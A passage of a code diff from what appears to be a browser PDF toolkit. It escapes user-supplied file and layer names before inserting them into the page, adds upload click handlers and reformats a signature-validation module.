: `${(currentFile.size / 1024 / 1024).toFixed(2)} MB`;
|
||||||
|
|
||||||
displayArea.innerHTML = `
|
displayArea.textContent = '';
|
||||||
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
|
|
||||||
<div class="flex items-center justify-between">
|
const card = document.createElement('div');
|
||||||
<div class="flex-1 min-w-0">
|
card.className =
|
||||||
<p class="truncate font-medium text-white">${currentFile.name}</p>
|
'bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors';
|
||||||
<p class="text-gray-400 text-sm">${fileSize}</p>
|
|
||||||
</div>
|
const row = document.createElement('div');
|
||||||
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">
|
row.className = 'flex items-center justify-between';
|
||||||
<i data-lucide="trash-2" class="w-4 h-4"></i>
|
|
||||||
</button>
|
const info = document.createElement('div');
|
||||||
</div>
|
info.className = 'flex-1 min-w-0';
|
||||||
</div>
|
|
||||||
`;
|
const nameP = document.createElement('p');
|
||||||
|
nameP.className = 'truncate font-medium text-white';
|
||||||
|
nameP.textContent = currentFile.name;
|
||||||
|
|
||||||
|
const sizeP = document.createElement('p');
|
||||||
|
sizeP.className = 'text-gray-400 text-sm';
|
||||||
|
sizeP.textContent = fileSize;
|
||||||
|
|
||||||
|
info.append(nameP, sizeP);
|
||||||
|
|
||||||
|
const removeBtn = document.createElement('button');
|
||||||
|
removeBtn.id = 'remove-file';
|
||||||
|
removeBtn.className =
|
||||||
|
'text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2';
|
||||||
|
removeBtn.title = 'Remove file';
|
||||||
|
|
||||||
|
const removeIcon = document.createElement('i');
|
||||||
|
removeIcon.setAttribute('data-lucide', 'trash-2');
|
||||||
|
removeIcon.className = 'w-4 h-4';
|
||||||
|
removeBtn.appendChild(removeIcon);
|
||||||
|
|
||||||
|
row.append(info, removeBtn);
|
||||||
|
card.appendChild(row);
|
||||||
|
displayArea.appendChild(card);
|
||||||
|
|
||||||
createIcons({ icons });
|
createIcons({ icons });
|
||||||
|
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ import { showLoader, hideLoader, showAlert } from '../ui.js';
|
|||||||
import { t } from '../i18n/i18n';
|
import { t } from '../i18n/i18n';
|
||||||
import {
|
import {
|
||||||
downloadFile,
|
downloadFile,
|
||||||
|
escapeHtml,
|
||||||
readFileAsArrayBuffer,
|
readFileAsArrayBuffer,
|
||||||
formatBytes,
|
formatBytes,
|
||||||
getPDFDocument,
|
getPDFDocument,
|
||||||
@@ -208,7 +209,7 @@ document.addEventListener('DOMContentLoaded', () => {
|
|||||||
<div class="layer-item" data-number="${layer.number}" style="padding-left: ${layer.depth * 24 + 8}px;">
|
<div class="layer-item" data-number="${layer.number}" style="padding-left: ${layer.depth * 24 + 8}px;">
|
||||||
<label class="layer-toggle">
|
<label class="layer-toggle">
|
||||||
<input type="checkbox" ${layer.on ? 'checked' : ''} ${layer.locked ? 'disabled' : ''} data-xref="${layer.xref}" />
|
<input type="checkbox" ${layer.on ? 'checked' : ''} ${layer.locked ? 'disabled' : ''} data-xref="${layer.xref}" />
|
||||||
<span class="layer-name">${layer.depth > 0 ? '└ ' : ''}${layer.text || `Layer ${layer.number}`}</span>
|
<span class="layer-name">${layer.depth > 0 ? '└ ' : ''}${escapeHtml(layer.text || `Layer ${layer.number}`)}</span>
|
||||||
${layer.locked ? '<span class="layer-locked">🔒</span>' : ''}
|
${layer.locked ? '<span class="layer-locked">🔒</span>' : ''}
|
||||||
</label>
|
</label>
|
||||||
<div class="layer-actions">
|
<div class="layer-actions">
|
||||||
|
|||||||
@@ -193,6 +193,15 @@ function initializeTool() {
|
|||||||
document
|
document
|
||||||
.getElementById('pdf-file-input')
|
.getElementById('pdf-file-input')
|
||||||
?.addEventListener('change', handlePdfUpload);
|
?.addEventListener('change', handlePdfUpload);
|
||||||
|
document.getElementById('upload-area')?.addEventListener('click', () => {
|
||||||
|
document.getElementById('pdf-file-input')?.click();
|
||||||
|
});
|
||||||
|
document
|
||||||
|
.getElementById('pdf-file-input-select-btn')
|
||||||
|
?.addEventListener('click', (e) => {
|
||||||
|
e.stopPropagation();
|
||||||
|
document.getElementById('pdf-file-input')?.click();
|
||||||
|
});
|
||||||
document
|
document
|
||||||
.getElementById('insert-pdf-input')
|
.getElementById('insert-pdf-input')
|
||||||
?.addEventListener('change', handleInsertPdf);
|
?.addEventListener('change', handleInsertPdf);
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ import { PDFDocument, PDFName } from 'pdf-lib';
|
|||||||
import { createIcons, icons } from 'lucide';
|
import { createIcons, icons } from 'lucide';
|
||||||
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
|
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
|
||||||
import { loadPdfDocument } from '../utils/load-pdf-document.js';
|
import { loadPdfDocument } from '../utils/load-pdf-document.js';
|
||||||
|
import { escapeHtml } from '../utils/helpers.js';
|
||||||
|
|
||||||
// State management
|
// State management
|
||||||
const pageState: { pdfDoc: PDFDocument | null; file: File | null } = {
|
const pageState: { pdfDoc: PDFDocument | null; file: File | null } = {
|
||||||
@@ -70,7 +71,7 @@ function updateFileDisplay() {
|
|||||||
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
|
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
|
||||||
<div class="flex items-center justify-between">
|
<div class="flex items-center justify-between">
|
||||||
<div class="flex-1 min-w-0">
|
<div class="flex-1 min-w-0">
|
||||||
<p class="truncate font-medium text-white">${pageState.file.name}</p>
|
<p class="truncate font-medium text-white">${escapeHtml(pageState.file.name)}</p>
|
||||||
<p class="text-gray-400 text-sm">${fileSize} • ${pageCount} page${pageCount !== 1 ? 's' : ''}</p>
|
<p class="text-gray-400 text-sm">${fileSize} • ${pageCount} page${pageCount !== 1 ? 's' : ''}</p>
|
||||||
</div>
|
</div>
|
||||||
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">
|
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import { createIcons, icons } from 'lucide';
|
|||||||
import { initPagePreview } from '../utils/page-preview.js';
|
import { initPagePreview } from '../utils/page-preview.js';
|
||||||
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
|
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
|
||||||
import { loadPdfDocument } from '../utils/load-pdf-document.js';
|
import { loadPdfDocument } from '../utils/load-pdf-document.js';
|
||||||
|
import { escapeHtml } from '../utils/helpers.js';
|
||||||
|
|
||||||
pdfjsLib.GlobalWorkerOptions.workerSrc = new URL(
|
pdfjsLib.GlobalWorkerOptions.workerSrc = new URL(
|
||||||
'pdfjs-dist/build/pdf.worker.min.mjs',
|
'pdfjs-dist/build/pdf.worker.min.mjs',
|
||||||
@@ -79,7 +80,7 @@ function updateFileDisplay() {
|
|||||||
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
|
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
|
||||||
<div class="flex items-center justify-between">
|
<div class="flex items-center justify-between">
|
||||||
<div class="flex-1 min-w-0">
|
<div class="flex-1 min-w-0">
|
||||||
<p class="truncate font-medium text-white">${pageState.file.name}</p>
|
<p class="truncate font-medium text-white">${escapeHtml(pageState.file.name)}</p>
|
||||||
<p class="text-gray-400 text-sm">${fileSize} • ${pageCount} page${pageCount !== 1 ? 's' : ''}</p>
|
<p class="text-gray-400 text-sm">${fileSize} • ${pageCount} page${pageCount !== 1 ? 's' : ''}</p>
|
||||||
</div>
|
</div>
|
||||||
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">
|
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">
|
||||||
|
|||||||
@@ -6,303 +6,329 @@ import forge from 'node-forge';
|
|||||||
import { SignatureValidationResult, ValidateSignatureState } from '@/types';
|
import { SignatureValidationResult, ValidateSignatureState } from '@/types';
|
||||||
|
|
||||||
const state: ValidateSignatureState = {
|
const state: ValidateSignatureState = {
|
||||||
pdfFile: null,
|
pdfFile: null,
|
||||||
pdfBytes: null,
|
pdfBytes: null,
|
||||||
results: [],
|
results: [],
|
||||||
trustedCertFile: null,
|
trustedCertFile: null,
|
||||||
trustedCert: null,
|
trustedCert: null,
|
||||||
};
|
};
|
||||||
|
|
||||||
function getElement<T extends HTMLElement>(id: string): T | null {
|
function getElement<T extends HTMLElement>(id: string): T | null {
|
||||||
return document.getElementById(id) as T | null;
|
return document.getElementById(id) as T | null;
|
||||||
}
|
}
|
||||||
|
|
||||||
function resetState(): void {
|
function resetState(): void {
|
||||||
state.pdfFile = null;
|
state.pdfFile = null;
|
||||||
state.pdfBytes = null;
|
state.pdfBytes = null;
|
||||||
state.results = [];
|
state.results = [];
|
||||||
|
|
||||||
const fileDisplayArea = getElement<HTMLDivElement>('file-display-area');
|
const fileDisplayArea = getElement<HTMLDivElement>('file-display-area');
|
||||||
if (fileDisplayArea) fileDisplayArea.innerHTML = '';
|
if (fileDisplayArea) fileDisplayArea.innerHTML = '';
|
||||||
|
|
||||||
const resultsSection = getElement<HTMLDivElement>('results-section');
|
const resultsSection = getElement<HTMLDivElement>('results-section');
|
||||||
if (resultsSection) resultsSection.classList.add('hidden');
|
if (resultsSection) resultsSection.classList.add('hidden');
|
||||||
|
|
||||||
const resultsContainer = getElement<HTMLDivElement>('results-container');
|
const resultsContainer = getElement<HTMLDivElement>('results-container');
|
||||||
if (resultsContainer) resultsContainer.innerHTML = '';
|
if (resultsContainer) resultsContainer.innerHTML = '';
|
||||||
|
|
||||||
const fileInput = getElement<HTMLInputElement>('file-input');
|
const fileInput = getElement<HTMLInputElement>('file-input');
|
||||||
if (fileInput) fileInput.value = '';
|
if (fileInput) fileInput.value = '';
|
||||||
|
|
||||||
const customCertSection = getElement<HTMLDivElement>('custom-cert-section');
|
const customCertSection = getElement<HTMLDivElement>('custom-cert-section');
|
||||||
if (customCertSection) customCertSection.classList.add('hidden');
|
if (customCertSection) customCertSection.classList.add('hidden');
|
||||||
}
|
}
|
||||||
|
|
||||||
function resetCertState(): void {
|
function resetCertState(): void {
|
||||||
state.trustedCertFile = null;
|
state.trustedCertFile = null;
|
||||||
state.trustedCert = null;
|
state.trustedCert = null;
|
||||||
|
|
||||||
const certDisplayArea = getElement<HTMLDivElement>('cert-display-area');
|
const certDisplayArea = getElement<HTMLDivElement>('cert-display-area');
|
||||||
if (certDisplayArea) certDisplayArea.innerHTML = '';
|
if (certDisplayArea) certDisplayArea.innerHTML = '';
|
||||||
|
|
||||||
const certInput = getElement<HTMLInputElement>('cert-input');
|
const certInput = getElement<HTMLInputElement>('cert-input');
|
||||||
if (certInput) certInput.value = '';
|
if (certInput) certInput.value = '';
|
||||||
}
|
}
|
||||||
|
|
||||||
function initializePage(): void {
|
function initializePage(): void {
|
||||||
createIcons({ icons });
|
createIcons({ icons });
|
||||||
|
|
||||||
const fileInput = getElement<HTMLInputElement>('file-input');
|
const fileInput = getElement<HTMLInputElement>('file-input');
|
||||||
const dropZone = getElement<HTMLDivElement>('drop-zone');
|
const dropZone = getElement<HTMLDivElement>('drop-zone');
|
||||||
const backBtn = getElement<HTMLButtonElement>('back-to-tools');
|
const backBtn = getElement<HTMLButtonElement>('back-to-tools');
|
||||||
const certInput = getElement<HTMLInputElement>('cert-input');
|
const certInput = getElement<HTMLInputElement>('cert-input');
|
||||||
const certDropZone = getElement<HTMLDivElement>('cert-drop-zone');
|
const certDropZone = getElement<HTMLDivElement>('cert-drop-zone');
|
||||||
|
|
||||||
if (fileInput) {
|
if (fileInput) {
|
||||||
fileInput.addEventListener('change', handlePdfUpload);
|
fileInput.addEventListener('change', handlePdfUpload);
|
||||||
fileInput.addEventListener('click', () => {
|
fileInput.addEventListener('click', () => {
|
||||||
fileInput.value = '';
|
fileInput.value = '';
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
if (dropZone) {
|
if (dropZone) {
|
||||||
dropZone.addEventListener('dragover', (e) => {
|
dropZone.addEventListener('dragover', (e) => {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
dropZone.classList.add('bg-gray-700');
|
dropZone.classList.add('bg-gray-700');
|
||||||
});
|
});
|
||||||
|
|
||||||
dropZone.addEventListener('dragleave', () => {
|
dropZone.addEventListener('dragleave', () => {
|
||||||
dropZone.classList.remove('bg-gray-700');
|
dropZone.classList.remove('bg-gray-700');
|
||||||
});
|
});
|
||||||
|
|
||||||
dropZone.addEventListener('drop', (e) => {
|
dropZone.addEventListener('drop', (e) => {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
dropZone.classList.remove('bg-gray-700');
|
dropZone.classList.remove('bg-gray-700');
|
||||||
const droppedFiles = e.dataTransfer?.files;
|
const droppedFiles = e.dataTransfer?.files;
|
||||||
if (droppedFiles && droppedFiles.length > 0) {
|
if (droppedFiles && droppedFiles.length > 0) {
|
||||||
handlePdfFile(droppedFiles[0]);
|
handlePdfFile(droppedFiles[0]);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
if (certInput) {
|
if (certInput) {
|
||||||
certInput.addEventListener('change', handleCertUpload);
|
certInput.addEventListener('change', handleCertUpload);
|
||||||
certInput.addEventListener('click', () => {
|
certInput.addEventListener('click', () => {
|
||||||
certInput.value = '';
|
certInput.value = '';
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
if (certDropZone) {
|
if (certDropZone) {
|
||||||
certDropZone.addEventListener('dragover', (e) => {
|
certDropZone.addEventListener('dragover', (e) => {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
certDropZone.classList.add('bg-gray-700');
|
certDropZone.classList.add('bg-gray-700');
|
||||||
});
|
});
|
||||||
|
|
||||||
certDropZone.addEventListener('dragleave', () => {
|
certDropZone.addEventListener('dragleave', () => {
|
||||||
certDropZone.classList.remove('bg-gray-700');
|
certDropZone.classList.remove('bg-gray-700');
|
||||||
});
|
});
|
||||||
|
|
||||||
certDropZone.addEventListener('drop', (e) => {
|
certDropZone.addEventListener('drop', (e) => {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
certDropZone.classList.remove('bg-gray-700');
|
certDropZone.classList.remove('bg-gray-700');
|
||||||
const droppedFiles = e.dataTransfer?.files;
|
const droppedFiles = e.dataTransfer?.files;
|
||||||
if (droppedFiles && droppedFiles.length > 0) {
|
if (droppedFiles && droppedFiles.length > 0) {
|
||||||
handleCertFile(droppedFiles[0]);
|
handleCertFile(droppedFiles[0]);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
if (backBtn) {
|
if (backBtn) {
|
||||||
backBtn.addEventListener('click', () => {
|
backBtn.addEventListener('click', () => {
|
||||||
window.location.href = import.meta.env.BASE_URL;
|
window.location.href = import.meta.env.BASE_URL;
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function handlePdfUpload(e: Event): void {
|
function handlePdfUpload(e: Event): void {
|
||||||
const input = e.target as HTMLInputElement;
|
const input = e.target as HTMLInputElement;
|
||||||
if (input.files && input.files.length > 0) {
|
if (input.files && input.files.length > 0) {
|
||||||
handlePdfFile(input.files[0]);
|
handlePdfFile(input.files[0]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
async function handlePdfFile(file: File): Promise<void> {
|
async function handlePdfFile(file: File): Promise<void> {
|
||||||
if (file.type !== 'application/pdf' && !file.name.toLowerCase().endsWith('.pdf')) {
|
if (
|
||||||
showAlert('Invalid File', 'Please select a PDF file.');
|
file.type !== 'application/pdf' &&
|
||||||
return;
|
!file.name.toLowerCase().endsWith('.pdf')
|
||||||
}
|
) {
|
||||||
|
showAlert('Invalid File', 'Please select a PDF file.');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
resetState();
|
resetState();
|
||||||
state.pdfFile = file;
|
state.pdfFile = file;
|
||||||
state.pdfBytes = new Uint8Array(await readFileAsArrayBuffer(file) as ArrayBuffer);
|
state.pdfBytes = new Uint8Array(
|
||||||
|
(await readFileAsArrayBuffer(file)) as ArrayBuffer
|
||||||
|
);
|
||||||
|
|
||||||
updatePdfDisplay();
|
updatePdfDisplay();
|
||||||
|
|
||||||
const customCertSection = getElement<HTMLDivElement>('custom-cert-section');
|
const customCertSection = getElement<HTMLDivElement>('custom-cert-section');
|
||||||
if (customCertSection) customCertSection.classList.remove('hidden');
|
if (customCertSection) customCertSection.classList.remove('hidden');
|
||||||
createIcons({ icons });
|
createIcons({ icons });
|
||||||
|
|
||||||
await validateSignatures();
|
await validateSignatures();
|
||||||
}
|
}
|
||||||
|
|
||||||
function updatePdfDisplay(): void {
|
function updatePdfDisplay(): void {
|
||||||
const fileDisplayArea = getElement<HTMLDivElement>('file-display-area');
|
const fileDisplayArea = getElement<HTMLDivElement>('file-display-area');
|
||||||
if (!fileDisplayArea || !state.pdfFile) return;
|
if (!fileDisplayArea || !state.pdfFile) return;
|
||||||
|
|
||||||
fileDisplayArea.innerHTML = '';
|
fileDisplayArea.innerHTML = '';
|
||||||
|
|
||||||
const fileDiv = document.createElement('div');
|
const fileDiv = document.createElement('div');
|
||||||
fileDiv.className = 'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
|
fileDiv.className =
|
||||||
|
'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
|
||||||
|
|
||||||
const infoContainer = document.createElement('div');
|
const infoContainer = document.createElement('div');
|
||||||
infoContainer.className = 'flex flex-col flex-1 min-w-0';
|
infoContainer.className = 'flex flex-col flex-1 min-w-0';
|
||||||
|
|
||||||
const nameSpan = document.createElement('div');
|
const nameSpan = document.createElement('div');
|
||||||
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
|
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
|
||||||
nameSpan.textContent = state.pdfFile.name;
|
nameSpan.textContent = state.pdfFile.name;
|
||||||
|
|
||||||
const metaSpan = document.createElement('div');
|
const metaSpan = document.createElement('div');
|
||||||
metaSpan.className = 'text-xs text-gray-400';
|
metaSpan.className = 'text-xs text-gray-400';
|
||||||
metaSpan.textContent = formatBytes(state.pdfFile.size);
|
metaSpan.textContent = formatBytes(state.pdfFile.size);
|
||||||
|
|
||||||
infoContainer.append(nameSpan, metaSpan);
|
infoContainer.append(nameSpan, metaSpan);
|
||||||
|
|
||||||
const removeBtn = document.createElement('button');
|
const removeBtn = document.createElement('button');
|
||||||
removeBtn.className = 'ml-4 text-red-400 hover:text-red-300 flex-shrink-0';
|
removeBtn.className = 'ml-4 text-red-400 hover:text-red-300 flex-shrink-0';
|
||||||
removeBtn.innerHTML = '<i data-lucide="trash-2" class="w-4 h-4"></i>';
|
removeBtn.innerHTML = '<i data-lucide="trash-2" class="w-4 h-4"></i>';
|
||||||
removeBtn.onclick = () => resetState();
|
removeBtn.onclick = () => resetState();
|
||||||
|
|
||||||
fileDiv.append(infoContainer, removeBtn);
|
fileDiv.append(infoContainer, removeBtn);
|
||||||
fileDisplayArea.appendChild(fileDiv);
|
fileDisplayArea.appendChild(fileDiv);
|
||||||
createIcons({ icons });
|
createIcons({ icons });
|
||||||
}
|
}
|
||||||
|
|
||||||
function handleCertUpload(e: Event): void {
|
function handleCertUpload(e: Event): void {
|
||||||
const input = e.target as HTMLInputElement;
|
const input = e.target as HTMLInputElement;
|
||||||
if (input.files && input.files.length > 0) {
|
if (input.files && input.files.length > 0) {
|
||||||
handleCertFile(input.files[0]);
|
handleCertFile(input.files[0]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
async function handleCertFile(file: File): Promise<void> {
|
async function handleCertFile(file: File): Promise<void> {
|
||||||
const validExtensions = ['.pem', '.crt', '.cer', '.der'];
|
const validExtensions = ['.pem', '.crt', '.cer', '.der'];
|
||||||
const hasValidExtension = validExtensions.some(ext => file.name.toLowerCase().endsWith(ext));
|
const hasValidExtension = validExtensions.some((ext) =>
|
||||||
|
file.name.toLowerCase().endsWith(ext)
|
||||||
|
);
|
||||||
|
|
||||||
if (!hasValidExtension) {
|
if (!hasValidExtension) {
|
||||||
showAlert('Invalid Certificate', 'Please select a .pem, .crt, .cer, or .der certificate file.');
|
showAlert(
|
||||||
return;
|
'Invalid Certificate',
|
||||||
|
'Please select a .pem, .crt, .cer, or .der certificate file.'
|
||||||
|
);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
resetCertState();
|
||||||
|
state.trustedCertFile = file;
|
||||||
|
|
||||||
|
try {
|
||||||
|
const content = await file.text();
|
||||||
|
|
||||||
|
if (content.includes('-----BEGIN CERTIFICATE-----')) {
|
||||||
|
state.trustedCert = forge.pki.certificateFromPem(content);
|
||||||
|
} else {
|
||||||
|
const bytes = new Uint8Array(
|
||||||
|
(await readFileAsArrayBuffer(file)) as ArrayBuffer
|
||||||
|
);
|
||||||
|
const derString = String.fromCharCode.apply(null, Array.from(bytes));
|
||||||
|
const asn1 = forge.asn1.fromDer(derString);
|
||||||
|
state.trustedCert = forge.pki.certificateFromAsn1(asn1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
updateCertDisplay();
|
||||||
|
|
||||||
|
if (state.pdfBytes) {
|
||||||
|
await validateSignatures();
|
||||||
|
}
|
||||||
|
} catch (error) {
|
||||||
|
console.error('Error parsing certificate:', error);
|
||||||
|
showAlert('Invalid Certificate', 'Failed to parse the certificate file.');
|
||||||
resetCertState();
|
resetCertState();
|
||||||
state.trustedCertFile = file;
|
}
|
||||||
|
|
||||||
try {
|
|
||||||
const content = await file.text();
|
|
||||||
|
|
||||||
if (content.includes('-----BEGIN CERTIFICATE-----')) {
|
|
||||||
state.trustedCert = forge.pki.certificateFromPem(content);
|
|
||||||
} else {
|
|
||||||
const bytes = new Uint8Array(await readFileAsArrayBuffer(file) as ArrayBuffer);
|
|
||||||
const derString = String.fromCharCode.apply(null, Array.from(bytes));
|
|
||||||
const asn1 = forge.asn1.fromDer(derString);
|
|
||||||
state.trustedCert = forge.pki.certificateFromAsn1(asn1);
|
|
||||||
}
|
|
||||||
|
|
||||||
updateCertDisplay();
|
|
||||||
|
|
||||||
if (state.pdfBytes) {
|
|
||||||
await validateSignatures();
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error parsing certificate:', error);
|
|
||||||
showAlert('Invalid Certificate', 'Failed to parse the certificate file.');
|
|
||||||
resetCertState();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function updateCertDisplay(): void {
|
function updateCertDisplay(): void {
|
||||||
const certDisplayArea = getElement<HTMLDivElement>('cert-display-area');
|
const certDisplayArea = getElement<HTMLDivElement>('cert-display-area');
|
||||||
if (!certDisplayArea || !state.trustedCertFile || !state.trustedCert) return;
|
if (!certDisplayArea || !state.trustedCertFile || !state.trustedCert) return;
|
||||||
|
|
||||||
certDisplayArea.innerHTML = '';
|
certDisplayArea.innerHTML = '';
|
||||||
|
|
||||||
const certDiv = document.createElement('div');
|
const certDiv = document.createElement('div');
|
||||||
certDiv.className = 'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
|
certDiv.className =
|
||||||
|
'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
|
||||||
|
|
||||||
const infoContainer = document.createElement('div');
|
const infoContainer = document.createElement('div');
|
||||||
infoContainer.className = 'flex flex-col flex-1 min-w-0';
|
infoContainer.className = 'flex flex-col flex-1 min-w-0';
|
||||||
|
|
||||||
const nameSpan = document.createElement('div');
|
const nameSpan = document.createElement('div');
|
||||||
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
|
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
|
||||||
|
|
||||||
const cn = state.trustedCert.subject.getField('CN');
|
const cn = state.trustedCert.subject.getField('CN');
|
||||||
nameSpan.textContent = cn?.value as string || state.trustedCertFile.name;
|
nameSpan.textContent = (cn?.value as string) || state.trustedCertFile.name;
|
||||||
|
|
||||||
const metaSpan = document.createElement('div');
|
const metaSpan = document.createElement('div');
|
||||||
metaSpan.className = 'text-xs text-green-400';
|
metaSpan.className = 'text-xs text-green-400';
|
||||||
metaSpan.innerHTML = '<i data-lucide="check-circle" class="inline w-3 h-3 mr-1"></i>Trusted certificate loaded';
|
metaSpan.innerHTML =
|
||||||
|
'<i data-lucide="check-circle" class="inline w-3 h-3 mr-1"></i>Trusted certificate loaded';
|
||||||
|
|
||||||
infoContainer.append(nameSpan, metaSpan);
|
infoContainer.append(nameSpan, metaSpan);
|
||||||
|
|
||||||
const removeBtn = document.createElement('button');
|
const removeBtn = document.createElement('button');
|
||||||
removeBtn.className = 'ml-4 text-red-400 hover:text-red-300 flex-shrink-0';
|
removeBtn.className = 'ml-4 text-red-400 hover:text-red-300 flex-shrink-0';
|
||||||
removeBtn.innerHTML = '<i data-lucide="trash-2" class="w-4 h-4"></i>';
|
removeBtn.innerHTML = '<i data-lucide="trash-2" class="w-4 h-4"></i>';
|
||||||
removeBtn.onclick = async () => {
|
removeBtn.onclick = async () => {
|
||||||
resetCertState();
|
resetCertState();
|
||||||
if (state.pdfBytes) {
|
if (state.pdfBytes) {
|
||||||
await validateSignatures();
|
await validateSignatures();
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
certDiv.append(infoContainer, removeBtn);
|
certDiv.append(infoContainer, removeBtn);
|
||||||
certDisplayArea.appendChild(certDiv);
|
certDisplayArea.appendChild(certDiv);
|
||||||
createIcons({ icons });
|
createIcons({ icons });
|
||||||
}
|
}
|
||||||
|
|
||||||
async function validateSignatures(): Promise<void> {
|
async function validateSignatures(): Promise<void> {
|
||||||
if (!state.pdfBytes) return;
|
if (!state.pdfBytes) return;
|
||||||
|
|
||||||
showLoader('Analyzing signatures...');
|
showLoader('Analyzing signatures...');
|
||||||
|
|
||||||
try {
|
try {
|
||||||
state.results = await validatePdfSignatures(state.pdfBytes, state.trustedCert ?? undefined);
|
state.results = await validatePdfSignatures(
|
||||||
displayResults();
|
state.pdfBytes,
|
||||||
} catch (error) {
|
state.trustedCert ?? undefined
|
||||||
console.error('Validation error:', error);
|
);
|
||||||
showAlert('Error', 'Failed to validate signatures. The file may be corrupted.');
|
displayResults();
|
||||||
} finally {
|
} catch (error) {
|
||||||
hideLoader();
|
console.error('Validation error:', error);
|
||||||
}
|
showAlert(
|
||||||
|
'Error',
|
||||||
|
'Failed to validate signatures. The file may be corrupted.'
|
||||||
|
);
|
||||||
|
} finally {
|
||||||
|
hideLoader();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function displayResults(): void {
|
function displayResults(): void {
|
||||||
const resultsSection = getElement<HTMLDivElement>('results-section');
|
const resultsSection = getElement<HTMLDivElement>('results-section');
|
||||||
const resultsContainer = getElement<HTMLDivElement>('results-container');
|
const resultsContainer = getElement<HTMLDivElement>('results-container');
|
||||||
|
|
||||||
if (!resultsSection || !resultsContainer) return;
|
if (!resultsSection || !resultsContainer) return;
|
||||||
|
|
||||||
resultsContainer.innerHTML = '';
|
resultsContainer.innerHTML = '';
|
||||||
resultsSection.classList.remove('hidden');
|
resultsSection.classList.remove('hidden');
|
||||||
|
|
||||||
if (state.results.length === 0) {
|
if (state.results.length === 0) {
|
||||||
resultsContainer.innerHTML = `
|
resultsContainer.innerHTML = `
|
||||||
<div class="bg-gray-700 rounded-lg p-6 text-center border border-gray-600">
|
<div class="bg-gray-700 rounded-lg p-6 text-center border border-gray-600">
|
||||||
<i data-lucide="file-x" class="w-12 h-12 mx-auto mb-4 text-gray-400"></i>
|
<i data-lucide="file-x" class="w-12 h-12 mx-auto mb-4 text-gray-400"></i>
|
||||||
<h3 class="text-lg font-semibold text-white mb-2">No Signatures Found</h3>
|
<h3 class="text-lg font-semibold text-white mb-2">No Signatures Found</h3>
|
||||||
<p class="text-gray-400">This PDF does not contain any digital signatures.</p>
|
<p class="text-gray-400">This PDF does not contain any digital signatures.</p>
|
||||||
</div>
|
</div>
|
||||||
`;
|
`;
|
||||||
createIcons({ icons });
|
createIcons({ icons });
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
const summaryDiv = document.createElement('div');
|
const summaryDiv = document.createElement('div');
|
||||||
summaryDiv.className = 'mb-4 p-3 bg-gray-700 rounded-lg border border-gray-600';
|
summaryDiv.className =
|
||||||
|
'mb-4 p-3 bg-gray-700 rounded-lg border border-gray-600';
|
||||||
|
|
||||||
const validCount = state.results.filter(r => r.isValid && !r.isExpired).length;
|
const validCount = state.results.filter(
|
||||||
const trustVerified = state.trustedCert ? state.results.filter(r => r.isTrusted).length : 0;
|
(r) => r.isValid && !r.isExpired
|
||||||
|
).length;
|
||||||
|
const trustVerified = state.trustedCert
|
||||||
|
? state.results.filter((r) => r.isTrusted).length
|
||||||
|
: 0;
|
||||||
|
|
||||||
let summaryHtml = `
|
let summaryHtml = `
|
||||||
<p class="text-gray-300">
|
<p class="text-gray-300">
|
||||||
<span class="font-semibold text-white">${state.results.length}</span>
|
<span class="font-semibold text-white">${state.results.length}</span>
|
||||||
signature${state.results.length > 1 ? 's' : ''} found
|
signature${state.results.length > 1 ? 's' : ''} found
|
||||||
@@ -311,69 +337,87 @@ function displayResults(): void {
|
|||||||
